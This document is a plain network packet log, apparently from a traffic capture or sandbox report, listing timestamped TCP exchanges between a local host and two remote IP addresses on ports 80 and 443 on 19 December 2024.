Dec 19, 2024 14:10:33.472358942 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.472414017 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.472477913 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.472537994 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.473519087 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.473568916 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.473929882 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.473978043 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.475392103 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.475456953 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.475477934 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.475541115 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.476303101 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.476342916 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.476392984 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.476820946 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.476902962 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.476922989 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.476969004 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.477544069 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.477628946 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.477684021 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.477757931 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.478277922 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.478354931 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.478355885 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.478445053 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.479057074 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.479126930 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.479157925 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.479213953 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.479691982 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.479765892 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.479811907 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.479877949 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.480360985 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.480400085 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.480427027 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.480452061 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.480961084 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.480999947 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.481017113 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.481045008 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.481673956 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.481715918 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.481753111 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.481812000 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.482461929 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.482518911 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.482633114 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.482727051 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.483361959 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.483417034 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.483470917 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.483561039 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.484117985 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.484178066 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.484213114 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.484280109 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.485182047 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.485259056 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.485302925 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.485340118 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.485986948 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.486037970 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.486046076 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.486107111 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.486733913 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.486790895 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.486799002 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.486838102 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.487570047 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.487617970 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.487641096 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.487703085 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.488327026 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.488373041 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.488450050 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.488496065 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.489131927 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.489181995 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.489423990 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.489490986 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.490115881 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.490170002 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.490261078 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.490325928 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.491123915 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.491179943 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.491219997 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.491272926 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.492014885 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.492070913 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.492130041 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.492172956 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.492757082 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.492805004 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.492809057 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.492856979 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.493504047 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.493556023 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.493613958 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.493679047 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.494393110 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.494461060 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.494517088 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.494574070 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.495332956 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.495388985 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.495440960 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.495496035 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.496007919 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.496069908 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.496083021 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.496114969 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.496717930 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.496794939 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.496843100 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.496895075 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.497561932 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.497632980 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.497670889 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.497734070 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.498389006 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.498446941 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.498509884 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.498553991 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.499255896 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.499389887 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.499460936 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.499460936 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.500077009 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.500129938 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.500153065 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.500216961 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.500911951 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.500972986 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.501024961 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.501084089 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.501737118 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.501837015 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.501872063 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.501895905 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.502569914 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.502629995 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.523005962 CET	443	49817	172.67.177.88	192.168.2.4
Dec 19, 2024 14:10:33.523137093 CET	443	49817	172.67.177.88	192.168.2.4
Dec 19, 2024 14:10:33.523216963 CET	49817	443	192.168.2.4	172.67.177.88
Dec 19, 2024 14:10:33.523402929 CET	49817	443	192.168.2.4	172.67.177.88
Dec 19, 2024 14:10:33.523444891 CET	443	49817	172.67.177.88	192.168.2.4
Dec 19, 2024 14:10:33.616720915 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.616791010 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.616811037 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.616852999 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.616976976 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.617007017 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.617043972 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.617079020 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.617850065 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.617968082 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.617980003 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.618042946 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.618932962 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.618949890 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.618985891 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.619002104 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.619434118 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.619488001 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.619550943 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.619637966 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.620094061 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.620146036 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.620309114 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.620359898 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.620846033 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.620944977 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.620965004 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.621015072 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.621618986 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.621685982 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.621704102 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.621747017 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.661292076 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.661397934 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.661454916 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.661487103 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.661833048 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.661897898 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.661943913 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.662002087 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.662559032 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.662651062 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.662878036 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.662938118 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.663459063 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.663501024 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.663564920 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.664263964 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.664321899 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.664419889 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.664530039 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.665174961 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.665237904 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.665301085 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.665396929 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.666079998 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.666141033 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.666162014 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.666212082 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.666879892 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.666953087 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.666971922 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.667026043 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.667629957 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.667675972 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.667740107 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.667866945 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.668472052 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.668560028 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.668581009 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.668632030 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.669229031 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.669277906 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.669301033 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.669359922 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.669941902 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.669991016 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.670135975 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.670185089 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.670754910 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.670808077 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.670828104 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.670888901 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.671506882 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.671552896 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.671602964 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.671646118 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.672403097 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.672446012 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.672451973 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.672497034 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.673170090 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.673250914 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.673285007 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.673335075 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.674043894 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.674088001 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.674101114 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.674148083 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.674828053 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.674884081 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.674952030 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.674998045 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.675703049 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.675749063 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.675873995 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.675925970 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.676559925 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.676606894 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.676630020 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.676683903 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.677357912 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.677413940 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.677437067 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.677485943 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.678266048 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.678313017 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.678335905 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.678392887 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.679172993 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.679222107 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.679245949 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.679291010 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.679845095 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.679894924 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.679956913 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.680005074 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.680905104 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.680918932 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.680960894 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.681937933 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.681952000 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.682001114 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.683067083 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.683106899 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.683115959 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.683162928 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.683510065 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.683598995 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.683619022 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.683660984 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.684330940 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.684381962 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.684384108 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.684427977 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.685019970 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.685071945 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.685182095 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.685261011 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.685988903 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.686036110 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.686105967 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.686158895 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.686800003 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.686865091 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.686937094 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.686985016 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.687472105 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.687517881 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.687578917 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.687655926 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.688347101 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.688409090 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.688430071 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.688479900 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.689162016 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.689251900 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.689271927 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.689331055 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.689938068 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.689986944 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.690080881 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.690134048 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.690850973 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.690898895 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.690917969 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.690973997 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.691618919 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.691670895 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.691731930 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.691788912 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.692481041 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.692528963 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.692545891 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.692593098 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.693293095 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.693332911 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.693404913 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.693449974 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.694163084 CET	80	49800	31.41.244.11	192.168.2.4
